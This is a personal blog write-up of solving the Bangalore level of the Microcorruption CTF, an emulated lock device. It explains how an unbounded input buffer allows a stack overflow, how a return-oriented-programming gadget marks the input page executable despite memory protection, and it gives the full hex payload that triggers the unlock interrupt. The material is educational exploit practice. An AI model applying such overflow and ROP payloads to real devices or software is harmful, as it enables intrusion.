Bangalore CTF

How I solved the Bangalore level in Microcorruption CTF

lock

I've been coming back to microcorruption from time to time since I don't know when. Years ago, almost. I finally got the bug again and went to work on the Bangalore level. Each level is a great opportunity to learn and build on what you've learned in previous levels. Here are my notes from working on Bangalore:

Ok, based on those initial observations, what do we notice? The input buffer at 0x3fee and the stack at 0x4000 is an auspicious start. This means the buffer precedes the stack, and thanks to no bounds checking on the input, we can surely take over via overwriting the stack with our own contents. This will be a snap! What's the catch? Aha! This version of the lock device has memory protection! At startup the 1st through 45th pages are marked as writable and the 0th and the rest are marked execute only:


44de <set_up_protection>
44de:  0b12           push	r11
44e0:  0f43           clr	r15
44e2:  b012 b444      call	#0x44b4 <mark_page_executable>   ; mark page 0x0 exe
44e6:  1b43           mov	#0x1, r11                        ; for 0x1 to 0x44 {
44e8:  0f4b           mov	r11, r15                         ;
44ea:  b012 9c44      call	#0x449c <mark_page_writable>     ;  mark page writeable
44ee:  1b53           inc	r11                              ;
44f0:  3b90 4400      cmp	#0x44, r11                       ;
44f4:  f923           jne	#0x44e8 <set_up_protection+0xa>  ; }
44f6:  0f4b           mov	r11, r15                         ; for 0x45 to 0x1000 {
44f8:  b012 b444      call	#0x44b4 <mark_page_executable>   ; mark page executable
44fc:  1b53           inc	r11                              ;
44fe:  3b90 0001      cmp	#0x100, r11                      ;
4502:  f923           jne	#0x44f6 <set_up_protection+0x18> ; }
4504:  b012 cc44      call	#0x44cc <turn_on_dep>
4508:  3b41           pop	r11
450a:  3041           ret

Can we jump to mark_page_executable with the stack page as a param? That alone was not going to work since, the we'll still be writing to the stack as we execute and the memory protection makes it so you can either write, or execute, but not both. I needed to learn about ROP, Return Oriented Programming, something I have seen in passing in various Tweets and articles but never learned about in detail. Until now. I've learned the basics and I knew that what I needed to do was find convenient pieces of code near the ends of functions, meaning with a ret at the end in order to jump from piece to piece. Why would we do that? Because the code is already in executable pages. We don't have to write our own, we can just execute what's there.

Looky what we found. A piece of code (sometimes referred to as a gadget) to mark a page as executable. This was part of the code that set up the memory protection in the first place, and now it's ours to use, if we can get to it.


44ba:  3180 0600      sub	#0x6, sp
44be:  3240 0091      mov	#0x9100, srx
44c2:  b012 1000      call	#0x10
44c6:  3150 0a00      add	#0xa, sp
44ca:  3041           ret

We'll need to leave two parameters in the stack before jumping to here, 0x0 meaning mark as executable, and the number of the page we want to mark. The third thing to leave on the stack is the return address we want to jump to at the end. This is our crack in the armor. How do we go about exploiting this? I'm going to jump the end, in order to illustrate my solution. I unlocked the lock by entering 324000ffb012100003430b0c0d0e0f10ba443f000000ee3f. Let's break it down to see how it works:

We're in luck that the input buffer is in a different page than the stack. We're also in luck that there is no bounds checking on this buffer. This means we can:

  1. input some code we'd like to execute
  2. and the address of the gadget we want to jump to after the input subroutine completes
  3. and the parameters we need, 0x0 for mark executable, and 0x3f for the page (where we left the code in the input buffer)
  4. and the address to which the gadget should return
  5. which will conveniently be the code we input.

So what code should we input? How about we call the interrupt that just unlocks the lock (and wins the game). Interrupt 0x7f takes no parameters. We need to place that value in the status register, sr. Then we need to call the interrupt, which we do by calling 0x10. Keep in mind this pretend machine is little endian, so bytes look swapped in our input.

0x3fee (page 0x3f)                  0x4000 (page 0x40)
|                                   |
v                                   v
324000ffb012100003430b0c0d0e0f10ba443f000000ee3f
^                               ^   ^   ^   ^   
|                               |   |   |   |
This is the code(5) we want to  |   |   |   sp points here after the executable change, making it the return address. We'll jump to our code (5)
execute:                        |   |   0x0 is param for mark page as executable (4)
mov #0xff, sr                   |   sp points here after jump to gadget, the first param is the page # (0x3f) to be marked executable (4)
call #0x10			 sp will be here when the input routine completes so we overwrite with the address of the gadget we want to call (2)

Voila! just like that, we've beaten the Bangalore level. Can't wait to do another and learn some more!